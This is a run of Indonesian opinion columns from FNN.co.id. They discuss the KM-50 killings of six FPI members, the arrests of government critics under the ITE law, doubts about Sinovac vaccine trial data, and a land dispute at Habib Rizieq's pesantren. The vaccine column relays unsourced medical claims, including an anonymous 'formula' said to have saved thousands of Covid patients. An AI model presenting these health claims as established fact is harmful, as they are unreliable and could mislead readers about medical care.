by Dr. Margarito Kamis, SH.M.Hum Jakarta FNN – Ahad (27/12). Komisi Nasional Hak Asasi Manusia (Komnas HAM), sejauh ini terlihat memasuki sudut-sudut eksplosif kematian 6 (enam) anak manusia di Kilometer 50 tol Jakarta-Cikampek. Penyelidikan yang sejauh ini terlihat sangat kredibel dan hati-hati itu, sangat menarik. Mengapa? Pada saat yang sama Kepolisian juga sedang menyelidiki kasus ini. Dalam kerangka penyelidikan itu, Edy Mulyadi, Jurnalis FNN.co.id yang mempublikasi hasil investigasi jurnalistiknya, dimintai keterangan oleh penyelidik kepolisian. Apakah permintaan keterangan dari Edy Mulyadi merupakan realisasi dari sikap mereka bahwa siapa yang mengatakan enam orang mati itu tidak memiliki senjata akan diproses? Ini benar-benar menarik. Meta Etik Rule of Law Allah Subhanahu Wata’ala, Dia yang menciptakan langit dan bumi. Hidup dan kehidupan ini, sejauh pengetahuan saya yang serba sedikit, Allah sangat mengagungkan manusia, ciptaan-Nya ini. Bahkan lebih mulia dari malaikat. Dia, Sang Pencipta, mengagungkan manusia sedari dalam kandungan ibunya. Tidakkah sedari kandungan ibu, begitu penjelasan para ulama, manusia telah berikrar mengakui Allah Subhanahu Wata’ala sebagai Tuhannya, dan Nabi Muhammad Sallallahu Alaihi Wasallam sebagai Rasulnya. Memang dunia barat tidak terikat pada kaidah ini, tetapi tetap saja mengagumkan mengenali perdebatan mereka mengenai gagasan legalisasi aborsi. Manusialah, diandalkan Allah Subhanahu Wata’ala, mengenal dan menyampaikan perintah dan larangannya. Kata para ulama, manusia diciptakan tidak untuk berhianat kepada-Nya. Manusia diwajibkan mengormati nyawa manusia lainnya, juga menghormati hidup orang lain. Hal-hal itu memiliki sifat alamiah. Itulah, yang studi-studi filosofis barat konsepkan sebagai hak yang dimiliki setiap orang, karena mereka manusia. Dibekali dan melekat pada setiap manusia sedari lahir itulah, hak itu memiliki kapasitas sebagai asasi. Itulah basis terdalam etik rule of law, sebagai hak yang tidak bisa dikurangi, dengan alasan apapun. Cicero, ahli hukum yang gemilang dengan pernyataan “salus populi suprem lex esto”, yang dipakai rezim-rezim brutal untuk membentengi kebrutalannya, mengonsepkan kenyataan itu sebagai nature of human. Dengan dasar itu dignity bagi Cicero melekat pada setiap manusia. Ini alamiah bagi setiap orang. Hak-hak untuk hidup tidak diberikan oleh negara (sifat positif) menurut konsep Isaiah Berlin, Filosof Inggris ini. Menurut konsepnya, hak untuk hidup bersifat asasi. Karena telah terbekali hukum alam pada setiap manusia. Berlin mengkategorikan hak ini dengan hak yang bersifat negative. Rule of law menunjuk itu semua sebagai meta etiknya. Harus diselami, dimengerti dengan benar oleh setiap penguasa. Meta etik itulah mengalir gagasan rule of law. Meta etik ini meminta, dengan nada mendesak, aparatur politik dan hukum, tak memelihara kebencian dalam menegakan hukum. Meta etik itu pulalah yang mengalirkan keharusan kepada pemimpin politik dan hukum untuk menarik jarak sejauh mungkin dari kecongkakan dan keangkuhan ala Fir’aun, Musolini, Lenin, Hitler, Salazar, Juan Franco, dan lainnya. Begitu mendekat pada pandangan tiran-tiran iin, habislah human dignity. Hitler, ambil sebagai ilustrasi kecil. Menurut Mark Neocleous, dalam artikelnya “The Facist Moment, Security, Exclussion Extermination”, mengandalkan Secret State Police (Geheime Staatpolizie, Gestapo) polisi rahasia. Gestapo menjadi masin Hitler untuk menangkap orang sesuka-sukanya atas nama menjaga keamanan nasional (national security). Selain Gestapo, Hitler juga menggunakan Order Police (Ordnungspolizei). Polisi ini berfungsi menangani kasus kriminal. Polisi terakhir ini diciptakan Himler, yang kala itu mengepalai Gestapo. Hitler dengan organ Gestapo dan Ordnungspolizie boleh menangkap siapa saja mengkritiknya, atau tak disukainya. Rule of law konyol dan angkuh, yang Hitler sinonimkan dengan Rechstaat, tidak memberi tempat pada individu. Rechstaat khas Nazi Hitler mengagungkan kolektivisme. Dalam kenyataanya, Hitler menjadi “penentu” keamanan nasional itu negara. Neocleus menulis “He may well have said, at the end of security, there is Hitler”. Konsep ini dijustifikasi secara akademik oleh gagasan Gustav Rudbruch dan Carl J. Smith, dua ahli hukum Rusia itu. Gustav Rudbruch, pencipta teori tujuan hukum, keadilan, kepastian dan kemanfaatan. Gustav dikenal terlepas dari spekulatif atau tidak, sebagai seorang nihilis. Tujuan hukum khasnya harus dimengerti dalam kerangka dirinya sebagai nihilis. Disisi Schimitian (Carl Schimith), yang poisisi filosofisnya membenarkan perang, tidak untuk alasan keadilan, melainkan untuk mengidentifikasi musuh dan kawan, jelas dalam semua aspeknya mengenai security. Baginya, security merupakan sifat alamiah dari politik. Berbeda seribu derajat dengan Hobbes. Bagi Schimid, perang semua melawan semua. Bukan individu melawan individu menurut konsep Hobbes, ilmuan Inggris ini. Bahaya eksis, setidaknya secara potensial, ketika terjadinya satu serangan kepada seseorang, sama dalam pandangannya, dengan seranggan kepada masyarakat secara keseluruhan. Satu keputusan untuk perjuangan berdarah, menurutnya, menjadi karakteristik politik. Juga merupakan cara politik mengidentifikasi kawan dan lawan. Baginya, dunia bisa dihindarkan dari perang. Tetapi baginya dunia tanpa perang, sama dengan dunia tanpa politik. Cara pandang ini, tentu tidak sedang melambung, mengukir jagat politik dan hukum Indonesia. Cara pandang ini konyol dalam semua sudutnya. Ini merendahkan kemuliaan manusia. Cara pandang ini tentu saja bertentangan tujuan bernegara kita “melindungi segenap bangsa dan seluruh tumpah darah”. Itulah gagasan mulia dan bernilai tinggi yang diwariskan para pembuat konstitusi negara UUD 1945. Bentengi Dengan Kejujuran Rule of law mengariskan “kematian” sebagai peristiwa hukum yang menghapuskan tanggung jawab pidana dari orang yang disangka sebagai pelaku. Hak menuntut dari negara hapus dengan sendirinya. Ini rasional. Bagaimana cara meminta orang mati bicara? Tetapi justru disitulah menariknya. Mengapa kasus ini terus diselidiki? Kemana arah penyelidikan ini? Meminta tanggung jawab pidana pada orang-orang FPI yang ikut mengawal Habib, yang tidak mati? Bila ya, itu juga menarik. Apa saja yang membuatnya menarik? Asumsi penyelidikan itu yang menarik. Apa asumsinya? Petugas polisi yang bertugas itu benar dalam semua aspeknya. Sebaliknya, orang-orang Habib yang mengawal dirinya, salah pada semua aspeknya. Titik. Rasionalkah ini? Itulah soal terbesarnya. Mengapa ini menjadi soal terbesar? Fakta tercecer sajauh ini, mendesakan logika lain yang sangat rasional. Bagaimana mengonfirmasi keberadaan senjata itu kepada orang mati? Apakah penyelidik sedang menelurusi asal-usul senjata itu? Ini mutlak dilakukan, agar valid hukumnya. Jelas itu tidak akan tetrcapai, karena orang yang akan dikonfirmasi sudah mati. Sisi lain yang menantang datang dari keterangan orang tua salah satu almarhum di Komisi III DPR. Andai saja keterangan ini benar-benar tak tersanggah dengan fakta lain, baru yang berbeda, maka tentu saja konsekuensinya juga jelas. Tetapi sejenak tinggal dulu soal itu. Mari bicara rule of law dulu. Dalam konteks ini, harus diakui keangkuhan sekaliber apapun, sulit untuk menyangkal peristiwa kilometer 50 ini menusuk, dan merobek-robek kemanusiaan kita sebagai bangsa, dan sebagai manusia ber-Tuhan. Rule of law memang memungkinkan orang dihukum mati, tetapi rule of law juga mengharuskan adanya justifikasi hukuman mati itu yang rasional secara etik. Orang yang akan dihukum mati misalnya, harus, tanpa dapat ditangguhkan, diadili secara jujur di peradilan. Tidak itu saja, orang yang akan menjalani hukuman mati itu, diberi kesempatanm untuk menyampaikan permintaan atau pesan terakhir kepada ayah, ibu, istri atau anaknya, yang akan ditinggalkan. Begitulah adab etik rule of law. Begitulah etik rule of law menampilkan derajat penghormatannya terhadap nyawa manusia dan kemanusiaan. Adab itu juga akan bekerja dengan cara para penembak, yang akan menembak mati terpidana, tak diberi tahu senjata mana yang telah terisi peluru. Para penembak itu tak bakal tahu bahwa senjata yang digunakannya yang mematikan terpidana mati itu. Sebab penembak itu juga manusia. Cara itu dimaksudkan untuk tak melukai rasa etik para penembak. Komnas HAM telah bekerja. Tak usah ditawarkan aspek-aspek teknis invesitgasi dan apa yang harus didapat dalam investigasi mereka. Fakta parsial yang terekam dalam investigasi mereka, terlihat begitu meyakinkan di permukaan. Seberapa detil dan apakah setiap detilnya kredibel, masih harus dianalisis. Komnas HAM, harus diakui, tak punya apa-apa. Disisi lain medan kerja mereka berada ditengah rule of law yang telah keropos. Ketidakpastian, kata lain dari dinamika politik, yang selalu dapat menghasilkan “keadaan baru yang tak tertebak,” telah menjadi ikon rule of law mutakhir. Itu tantangan terbesar Komnas HAM. Bagaimana dan dengan apa Komnas HAM membimbing penyelidikan yang terus berlangsung ini? Komnas HAM hanya perlu membekali diri dengan keyakinan bahwa pekerjaan ini mulia dalam semua dimensinya. Jujurlah dalam semua aspek. Cukupkan saja investigasi ini dengan “jujur” sebagai jiwanya. Ukirlah dan bungkuslah seluruh temuan dengan itu kemuliaan yang tinggi. Semoga kemanusiaan yang selalu mulia dan agung itu, terus bersinar dihari-hari esok. Tuan-tuan Komnas HAM, jujur itu benteng tertangguh di dunia dan diakhirat, begitu pesan bijak Syech Abdul Kadir Jailani. Ungkaplah semua aspek peristiwa melayangnya enam nyawa manusia di kilometer 50 itu, dengan sejujur-jujur-jujurnya. Kaidah republik menggariskan kekuasaan hukum harus digunakan menurut kaidah rule of law. Sombong, angkuh, benci kelompok ini dan sayang kelompok itu, bukan kaidah republik dan rule of law. Selamat bekerja. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Tugas Negara Itu Melindungi Rakyatnya, Bukan Menangkap Pengkritiknya

by Tony Rosyid Jakarta FNN – Ahad (27/12). Saat ini, Jokowi terlihat masih mampu mengendalikan stabilitas keamanan dalam negeri. Diantara indikatornya, pertama, Polri dan TNI yang menjadi organ penting dalam menjalankan tugas pengamanan berada dalam kendali penguasa. Kedua institusi ini terlihat kompak. Setidaknya dalam konsolidasi struktural. Kedua, di luar Polri dan TNI, ada sejumlah organisasi kemasyarakatran (ormas( besar seperti Nahdatul Ulama (NU) dan Muhammadiyah yang masih memberi dukungan kepada pemerintah. Walaupun dukungan itu dengan dinamikanya masing-masing. Ketiga, sejumlah tokoh dan aktifis yang teridentifikasi sebagai bagian dari kelompok oposisi yang krirltis seperti Kesatuan Aksi Menyelematkan Indonesia (KAMI), masyarakat yang tergabung dalam komunitas 212, dan sejumlah akademisi, tampak berhasil dibonsai melalui UU ITE. Begitu pula dengan penggunaan pasal ujaran kebencian (pasal 28 ayat 2 UU No 19 Tahun 2016 jo UU No 11 Tahun 2008) dan penghasutan (pasal 160 KUHP). Sebagian bahkan sudah ditangkap dan berada dalam tahanan. Beberapa mulai memasuki persidangan di pengadilan. Penguasa sepertinya berhasil meredam setiap kritik yang dilontarkan kelompok-kelompok oposisi. Penguasa sukses menggunakan pasal-pasal dalam undang-undang hukum pidana, dan terutama undang-undang ITE. Meski pasal-pasal yang ditersangkakan seringkali menimbulkan banyak perdebatan di kalangan para ahli hukum. Pertama, ada kesan pasal-pasal yang dipaksakan. Kedua, pasal-pasal itu seringkali hanya berlaku untuk tokoh-tokoh yang menjadi pengkritik pemerintah. Sebaliknya ada kesan berbelit-belit jika menyangkut dengan para pendukung pemerintah. Tidak ada yang dijadikan tersangka. Namun kekhawatiran adanya ancaman pelengseran terhadap Jokowi itu juga terlalu berlebihan. Justru yang terjadi sebaliknya. Narasi ancaman dianggap publik seperti sengaja diciptakan oleh pihak-pihak tertentu untuk menggiring munculnya tuduhan kepada para tokoh oposisi itu. Orde Lama dan Orde Baru menggunakan pasal subversi untuk menghadapi para pengkritik penguasa. Kalau sekarang pintu masuknya seringkali melalui pelanggaran terhadap UU ITE. Hampir semuanya kena pasal ujaran kebencian dan penghasutan. Untuk saat ini, situasi keamanan nasional masih sangat kondusif. Hanya kasus seperti "Papua Merdeka" yang memang terjadi sejak dulu. Namun ke depan belum ada tanda-tanda bahwa stabilitas keamanan nasional terancam. Kecuali jika terjadi krisis ekonomi. Baik krisis moneter maupun krisis fiskal. Jika negara kekurangan anggaran untuk menggaji TNI-Polri dan para pegawai negeri, maka itu menjadi masalah serius dua rius dan tiga rius. Ini tentu akan menimbulkan gejolak. Faktor krisis ekonomi akan menjadi trigger yang paling kuat. Terutama dalam situasi rakyat dalam keadaan kecewa dan marah. Negara memang sedang kesulitan uang. Upaya untuk mendapatkan pinjaman sedang terus dilakukan. Baik melalui penjualan SBN (Surat Berharga Negara) atau SUN (Surat Utang Negara) maupun pinjaman luar negeri. Dalam situasi pandemi seperti sekarang, bukan hal mudah untuk mendapatkan pinjaman. Nopember bulan lalu, penjualan SBN/SUN jauh dari target. Jika upaya mencari pinjaman ini gagal, memang sangat berisiko ke depan. Hal yang paling tepat dan perlu dilakukan oleh pemerintahan Jokowi saat ini adalah pertama, tangani pandemi Covid-19 dengan strategi terukur, tegas dan konsisten. Agar pandemi Covid-19 segera bisa diatasi dan diakhiri. Tanpa penuntasan pandemi sebagai program serius dan prioritas, sulit bangsa ini keluar dari resesi ekonomi. Kedua, fokus atasi resesi ekonomi. Sebagai catatan, dalam mengambil setiap kebijakan ekonomi, pemerintah mesti mengutamakan kepentingan rakyat dan masa depan bangsa. Tidak semata-mata untuk menghindari krisis demi mempertahankan kekuasaan. Ketiga, tidak menghabiskan energi dan sibuk mengatur strategi konfliktual dengan kelompok oposisi. Pemerintah tak perlu berlebihan dan memanjakan rasa takut kepada kelompok-kelompok oposisi itu. Karena tak ada yang perlu ditakutkan. Nggak boleh alergi dengan kritik. Ini Indonesia, bukan Timur Tengah. Masyarakat Indonesia mudah diajak berkomunikasi dan kompromi. Secara umum, masyarakat Indonesia merindukan suasana damai. Sudah bosan dan jenuh dengan kegaduhan. Suasana tenang hanya akan terjadi di negeri ini jika negara sibuk bekerja untuk melindungi rakyatnya, bukan memusuhi dan menangkap para pengkritiknya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Vaksin Covid Masih Meragukan, Pakar: Telusuri Riwayat Uji Klinisnya (2)

by Mochamad Toha Surabaya FNN - Minggu (27/12). Sebenarnya Arie Karimah, Pharma-Excellent, Alumni ITB, sudah pernah memberitahu uji klinisnya harus multicenter, jangan cuma di Bandung, tapi tidak digubris. Alasannya, supaya mudah koordinasinya. Menurutnya, alasan memprioritaskan koordinasi itu “tolot banget”, tapi hasilnya tak ada! “Apanya yang mau dikoordinir? Coba multicenter di zona-zona merah dan kawasan padat penduduk, nggak bakalan pusing mendapatkan kasus terinfeksi,” tegasnya. Problem analysis: Volunteer datang cuma 5x: disuntik 2x, ambil darah dan swab 3x. Tinggal divideo dan kirim datanya. “Terus apa bedanya kalau volunteers itu ada di Bandung, Jakarta, Suroboyo, Sidoarjo, atau kota-kota lain?” lanjut Arie Karimah. “Fakultas Kedokteran Negeri ada di setiap kota besar. Dana Rp 900 triliun lebih itu ke mana?” sindir Arie Karimah. Karena belum ada hasil uji klinis di Bandung, maka Indonesia melalui Badan Pengawas Obat dan Makanan (BPOM) “merujuk” ke Turki. Seperti dilansir Kompas.com, Jum'at (25/12/2020, 14:04 WIB), Vaksin Covid-19 yang dikembangkan oleh China, Sinovac Biotech, efektif 91,25 persen, menurut data sementara dari hasil uji coba tahap akhir di Turki. Hasil itu berpotensi jauh lebih baik dari pada yang dilaporkan dari uji coba vaksin terpisah di Brasil, seperti yang dilansir dari Inquirer pada Jumat (25/12/2020). Para peneliti di Brasil, yang juga menjalankan uji coba terakhir fase III vaksin, mengatakan pada Rabu (23/12/2020) bahwa suntikan itu lebih dari 50 persen efektif. Benarkah efektivitas Vaksin Sinovac di Turki 91%? Arie Karimah kembali menganalisisnya. Sebelumnya kita perlu mengetahui bagaimana efektivitas atau efikasi suatu produk vaksin Ditentukan/Dihitung: Harus diketahui jumlah total volunteers, berapa yang mendapat vaksin dan berapa yang mendapat plasebo. Umumnya rasio 1:1. Harus ada jumlah tertentu volunteers yang akhirnya tertular infeksi, dibuktikan dengan tes PCR. Jika angka ini Tidak Tercapai, maka efektivitas/efikasi Tidak Boleh Dihitung. Efektivitas atau efikasi dihitung dari jumlah yang tertular tersebut: berapa dari kelompok plasebo, dibagi dengan total jumlah yang tertular, dikalikan 100%. Berikut analisa Arie Karimah atas berita tersebut: Uji Klinis di Turki Global Times, 25 Desember: Efikasi vaksin Sinovac dalam uji klinis di Turki: 91,25%; Volunteers: 13.000. Tidak disebutkan berapa yang masuk kelompok plasebo dan vaksin. Tercatat 20 volunteers akhirnya terinfeksi Covid-19. Tidak disebutkan berapa dari kelompok plasebo dan berapa dari kelompok vaksin. Untuk bisa menganalisis efikasi/efektivitas itu diperlukan Minimal 40 orang terinfeksi. Jadi, “Kalau tidak disebutkan berapa yang terinfeksi dari kelompok plasebo dan berapa dari kelompok vaksin, bagaimana bisa dihitung efikasinya? Lalu, angka 91,25% itu muncul dari mana?” ujar Arie Karimah. Jumlah minimum volunteers yang terinfeksi Belum Memenuhi Syarat (20 vs 40), bagaimana efikasinya bisa dihitung? Nikkei, Asia, 25 Desember: Efikasi vaksin Sinovac (sementara) dalam uji klinis di Turki 91,25%. Dikabarkan angka ini masih mungkin meningkat lagi karena sekarang jumlah volunteers yang mendapat plasebo sudah semakin berkurang. Pertanyaannya: Kok bisa efikasi dihitung sebelum seluruh volunteers disuntik, sehingga muncul kalimat, “Sekarang jumlah volunteers yang mendapat plasebo sudah semakin berkurang”? “Atau maksud kalimat tersebut: analisa data untuk kelompok plasebo itu hampir selesai, sedangkan kelompok vaksin masih banyak gitu? Kagak jelas blas (sama sekali),” ungkap Arie Karimah. Total jumlah volunteers: 7.371 (berita yang di atas, Global Times, bilangnya 13.000). Yang benar yang mana? Sebanyak 1.322 volunteers digunakan untuk studi efikasi: 752 orang mendapat vaksin, 570 orang mendapat plasebo. Sedangkan 2.964 volunteers digunakan untuk uji keamanan. Pertanyaaannya: Jadi total volunteers untuk uji efikasi dan keamanan hanya 4.286 orang (1.322 + 2.964). Lha sisanya yang 3.085 orang (7.371 – 4.286) untuk apa? “Memangnya uji efikasi dan keamanan tidak dijadikan satu?” tanya Arie Karimah. Efikasi: diambil darahnya, dihitung titer antibodinya. Atau di-swab dan dites PCR. Keamanan: dicatat keluhan yang muncul sebagai efek samping atau adverse reaction. Hasil studi efikasi: Dari 752 orang dalam kelompok vaksin, 3 orang terinfeksi Covid-19 sesuai tes PCR. Dari 570 orang dalam kelompok plasebo, 26 orang terinfeksi Covid-19. Uji klinis masih Harus Dilanjutkan hingga diperoleh minimal 40 orang terinfeksi, agar bisa dihitung efikasinya. “Data di atas baru mencapai 29 orang, jadi Belum Memenuhi Syarat Untuk Bisa Dihitung Efikasinya,” ungkap Arie Karimah. Uji keamanan: melibatkan 2.964 volunteers. Diketahui efek sampingnya adalah fatigue dan sakit kepala. Satu volunteer mengalami reaksi alergi ringan. Uji Klinis di Brazil Reuters, Desember: Jumlah volunteers tidak disebutkan. Sebanyak 74 volunteers terinfeksi Covid-19. Standar agar efikasi/efektivitas bisa dihitung: cukup 61 orang terinfeksi. Tidak disebutkan berapa dari kelompok plasebo dan berapa dari kelompok vaksin yang terinfeksi. Bagaimana bisa dihitung efikasinya? Jadi jangan heran kenapa laporan data interimnya terus-menerus diundur. Karena datanya juga “ajaib”, bagi yang mengerti bagaimana cara membaca data tersebut. Jadi, “Efektivitas/efikasi vaksin Sinovac dari hasil uji klinis di Brazil maupun Turki Belum Bisa Dihitung, karena datanya belum mencukupi,” tegas Arie Karimah menyimpulkan. Kabar terakhir, China kembali telah menunda pengumuman hasil Uji Klinis Vaksin Sinovac. Ini untuk ketiga kalinya China menunda: dari 14 Desember ke 23 Desesember, kemudian 28 Desember, dan sekarang Januari 2021. Jadi, “Mundur 15 hari lagi dari 23 Des. Ada apa coba? Kalau efikasi tinggi biasanya justru diumumkan Segera, meskipun sebagai kabar sementara, sebagai kabar gembira,” ujar Arie Karimah. “Mereka masih akan melakukan konsolidasi atas hasil-hasil uji klinis internasionalnya di Brazil, Turki, dan Indonesia, seperti saran dan dugaan saya tho?” lanjutnya. Jadi, “Yang sudah menyebarluaskan kabar efikasinya: hati-hati. Silakan baca artikel asli dalam bahasa Inggris-nya, jangan dari berita lokal hasil terjemahan.” Jika Uji Klinis Vaksin Sinovac di Turki maupun Brazil saja Belum Bisa Dihitung, apalagi Uji Klinis di Indonesia yang dilakukan Biofarma dan Universitas Padjadjaran di Bandung yang juga belum ada hasilnya. Sementara, varian baru Virus Corona SARS CoV-2 sendiri sudah mulai menyerang Inggris, dan diduga juga masuk ke Prancis dan Singapura. Seperti dilansir CNN Indonesia, Selasa (15/12/2020 15:55 WIB), Menteri Kesehatan Inggris Matt Hancock mengatakan, ada varian baru SARS CoV-2 yang teridentifikasi di Inggris dan terbuka kemungkinan tak mempan Vaksin Covid-19 yang saat ini ada. Virus corona jenis baru ini diyakini dapat menyebar lebih cepat dari virus corona yang ada sebelumnya. Ini juga memicu peningkatan kasus Covid-19 yang tajam di Inggris. Matt menyebut telah ditemukan lebih dari 1.000 kasus Covid-19 akibat infeksi dari varian virus jenis baru ini. Kasus akibat varian virus baru ini tersebar di 60 wilayah otoritas lokal Inggris. Diperkirakan virus varian baru ini serupa dengan mutasi yang ditemukan di sejumlah negara dalam beberapa bulan belakangan. “Kami telah mengidentifikasi varian baru dari virus corona yang mungkin penyebarannya lebih cepat di tenggara Inggris,” kata Matt, Selasa (15/12/2020), seperti dilansir dari The Guardian. Matt tidak menutup kemungkinan bahwa varian baru virus ini bisa kebal terhadap vaksin Covid-19 yang akan diberikan pada minggu ini di Inggris. Kalah Cepat Varian Covid-19 dan mutasinya yang begitu cepat akan membuat Vaksin Covid-19 yang kini tengah dikembangkan di berbagai negara bakal masuk kategori “vaksin jadul”, dan mungkin juga tidak akan bisa mengimbangi varian Covid-19 yang terus bermutasi. “Sudah pernah saya uraikan tentang Covid gelombang 1, gelombang 2, gelombang 3, dan akan ada gelombang ke 4,” ungkap seorang sumber. Covid-19 semula menyerang saluran pernafasan, kemudian saluran pencernaan, syaraf, mata, yang diikuti dengan berbagai gejala-gejala yang menyertainya. Orang-orang yang di tubuhnya ada proses infeksi, tentu wajar kalau diikuti dengan keluhan linu-linu di berbagai persendian, lemah, loyo, pengantukan, dan sebagainya. Itu gejala-gejala wajar yang menyertai nya. “Salah satu ciri khas dari virus Covid-19 itu akan mudah menempel, dan meriplikasi selnya, setelah menempel pada selaput mukosa-mukosa,” lanjutnya. Pada selaput mukosa-mukosa itulah protein sarana mereka regeneratif itu menjadi mudah berkembang . Mukosa itu lapisan lembut berlendir, seperti bibir mulut, tenggorokan, hidung, dan mata. Dari mukosa-mukosa itulah, mereka akan menyebar ke saluran pernafasan atau pencernaan, dan seterusnya. “Dan amat sering kami temukan kasus-kasus yang ditandai dengan gejala-gejala sakit perut, diare, setelah sekian hari, di paru-parunya sudah terjadi pneumonia advanced/serius, merata,” ungkap sumber yang enggan disebutkan namanya itu. Menurutnya, ada yang positif thypus lewat tes widal, tapi imunoserologinya negatif. Bahkan, ada yang fungsi livernya terganggu, yang ditandai dengan SGPT, SGOT tinggi, “tapi HbsAg-nya negatif. Setelah di-swab, positif.” “Makanya kami amat sering menyampaikan ke siapapun yang sakit panas, disertai dengan gejala-gejala di saluran pernafasan, saluran pencernaan, atau lainya, sebagai berikut: Lebih baik kita menduga positif covid,” tambahnya. “Sehingga segera bisa mengantisipasi secara maksimal. Dari pada menduga minimal (non covid), tapi akhirnya kecolongan. Toh, jika menggunakan protokol covid dengan formula yang kami buat, tidak ada efek buruknya,” jelasnya. “Dengan konsep itulah, kami sudah membantu menyelamatkan ribuan orang pasien yang terpapar covid,” ujar sumber tadi. (Selesai) Penulis wartawan senior FNN.co.id

Mungkinkah "Dark Forces" Yang Melakukan Pembunuhan di KM-50?

by Asyari Usman Medan FNN - Minggu (27/12). Kepolisian mengaku pembunuhan 6 anggota FPI di KM-50 dilakukan oleh anggota mereka. Tetapi, penjelasan polisi tentang insiden itu memunculkan berbagai pertanyaan. Ada sekian banyak simpangsiur. Kesimpangsiuran itu antara lain soal adanya tembak-menembak antara keenam korban dan aparat kepolisian. Polisi menegaskan ada kontak senjata. Sedangkan pihak FPI mengatakan anggota mereka tidak memiliki senjata. Juga simpangsiur perihal senjata api (senpi) dan senjata tajam (sajam) yang dikatakan dibawa oleh keenam anggota. Semula polisi mengatakan para korban memiliki senpi, tapi kemudian dikatakan anggota FPI itu merampas senpi dari petugas kepolisian. FPI konsisten mengatakan mereka tidak memiliki senpi maupun sajam. Akumulasi kejanggalan itu menyulut rasa ingin tahu tentang apa sebenarnya yang terjadi? Siapa-siapa saja di tim kepolisian yang bertanggung jawab dalam penembakan KM-50? Ini yang harus digali tuntas oleh Komnas HAM. Kejanggalan dan simpangsiur itu perlu diurai. Agar pengusutan berjalan transparan dan adil. Penjelasan versi FPI menyebutkan, mereka mencatat adanya penguntitan (surveillance) terhadap Habib Rizieq Syihab (HRS). Itu terjadi di sekitar rumah keluarga di Sentul, Bogor, sejak beberapa hari sebelum peristiwa KM-50, dinihari 7 Desember 2020. Waktu itu, para penguntit tidak diketahui identitas mereka. Polisikah mereka? Atau ‘orang lain’? Imajinasi publik pasti cukup liar. Bahkan, menurut versi FPI, ketika terjadi percobaan oleh kendaraan para penguntit untuk masuk ke dalam konvoi HRS di jalan tol Jakarta-Cikampek, para pengawal Habib tidak tahu kalau rombongan penguntit itu adalah polisi. Mereka menyebut para penguntit itu dengan istilah “orang tak dikenal” (OTK). Setelah Polda Metro mengumumkan bahwa OTK itu adalah aparat kepolisian, barulah pihak FPI tahu siapa yang menguntit mereka. Nah, bisakah dipastikan mereka itu aparat kepolisian? Pihak polisi mengatakan orang-orang yang menembak mati anggota FPI sudah ditahan oleh Divisi Propam Polri. Artinya, mereka itu benar polisi. Namun, hingga saat ini yang ditahan tsb masih belum bisa diverifikasikan. Baik oleh media massa sebagai sumber informasi publik maupun oleh pihak-pihak lain. Kalaupun sudah ada tatap muka antara Komnas HAM dengan para terduga yang ditahan, bisa saja hasilnya meragukan. Jadi, ini yang perlu dipastikan, dikukuhkan. Benarkah aparat kepolisian yang terlibat “tembak-menembak” dengan anggota FPI? Bagi publik, masalah ini belum klar. Jangan-jangan bukan polisi. Karena itu, diperlukan penelusuran cermat. Kepolisian harus transparan tentang ini. Sangat wajar kalau ada yang bertanya: apakah mungkin para pembunuh 6 anggota FPI adalah personel dari kesatuan lain? Mungkinkah ada ‘tim luar’ yang numpang berselancar? Mungkinkah mereka itu aparat yang sudah sangat terlatih menghabisi target? Terutama target-target ‘sitting duck’ (empuk)? Mungkinkah mereka itu aparat yang beroperasi senyap, tanpa ada yang tahu? Mungkinkah ada ‘splinter group’ (kelompok sempalan)? Atau, mungkinkah mereka itu bukan aparat negara? Yaitu, hanya semacam “mercenary” (eksekutor bayaran) saja? Mungkinkah itu salah satu dari kemungkinan tadi? Banyak sekali pertanyaan yang kelihatannya tidak mudah dijawab. Banyak pembunuhan di muka Bumi ini yang dilakukan oleh “pasukan hitam” alias “pasukan siluman”. Yang biasa disebut “dark forces”. Mereka beroperasi karena instansi penegak hukum bisa dikangkangi. Bisa dikapling-kapling. Bahkan bisa dikendalikan oleh beberapa petinggi saja. Pasukan hitam atau siluman pada umumnya muncul karena pemimpin negara tak mampu menguasai situasi nasional. Pemimpin yang tak berwibawa. Ini yang kemudian memunculkan persaingan antarinstitusi keamanan atau penegak hukum. Bahkan persaingan terjadi diantara faksi-faksi di lingkungan suatu instansi. Di satu instansi bisa ada banyak kubu (clan) yang sering diistilahpasarkan sebagai “geng”. Misalnya, di intansi itu atau ini ada Geng-A, Geng-B, Geng-C, Geng-D, dst. Dan semua geng mempunyai kemampuan untuk menunjukkan eksistensi mereka masing-masing. Dari sini kita bertanya: mungkinkah “dark forces” yang melakukan pembunuhan di KM-50? Untuk menjawab ini perlu dicermati apakah penyebab kemunculan “pasukan siluman” itu bisa Anda lihat dan Anda rasakan.[] (Penulis wartawan senior FNN.co.id)

Di Megamendung, HRS Ajarkan Santri Berkebun, Bukan Membuat Perkebunan

by Asyari Usman Bogor FNN - Sabtu (26/12). Seorang emak-emak menangis tersedu sambil menumpahkan kesedihannya. Dia mendengar berita bahwa lahan yang dipakai oleh Habib Rizieq Syihab (HRS) untuk pesantren agrokultural Markaz Syariah (MS) di Megamendung, Bogor, akan diambil paksa oleh pemilik HGU-nya, yaitu PTPN VIII. Dirut PTPN 8, Muhammad Yudayat, sudah mengirimkan somasi per 18 Desember 2020. Inilah somasi pertama dan terakhir. Tidak main-main. Dia mengatakan, lahan seluas 31 hektar yang selama ini dipakai HRS untuk bercocok tanam, harus diserahkan kepada perusahaan perkebunan itu. Akan diambil paksa. Pak Dirut mengultimatum, jika dalam seminggu tidak dikosongkan, maka pihak PTPN 8 akan menyampaikan laporan ke polisi. Bakal menjadi pengaduan polisi yang kesekian kali atas nama HRS. Padahal, lahan itu terlantar lebih 30 tahun. Kemudian digarap oleh warga masyarakat. Dari warga penggarap itulah HRS membeli lahan tsb. Jadi, lahan itu dibeli bukan diserobot. Ibu yang menangis itu terdengar sangat pilu. “Sampai segitunya mereka membenci Habib,” ujar Ibu tersebut dalam rekaman yang beredar di berbagai platform media sosial. Ibu yang pilu itu tahu persis penggunaan lahan MS. Di atas tanah yang relatif tidak terlalu luas itu jika dibandingkan 300,000 hektar yang dikuasai oleh konglomerat, anak-anak santri MS melantunkan sholawat. Mereka berzikir. Menghafal al-Quran. Memohon kepada Yang Mahakuasa agar menyelamatkan bangsa dan negara ini. Ibu yang terisak-isak itu tahu bahwa para santri di MS tidak diajarkan memusuhi siapa pun. Yang diajarkan kepada mereka adalah cara hidup yang berguna bagi manusia lain. Mereka diajarkan memberi, bukan mengambil. Diajarkan hidup sederhana, bukan hidup semena-mena. Anak-anak santri itu dididik agar tidak membuat kerusakan di muka bumi ini. Mereka diajarkan menanam, bukan membabat. 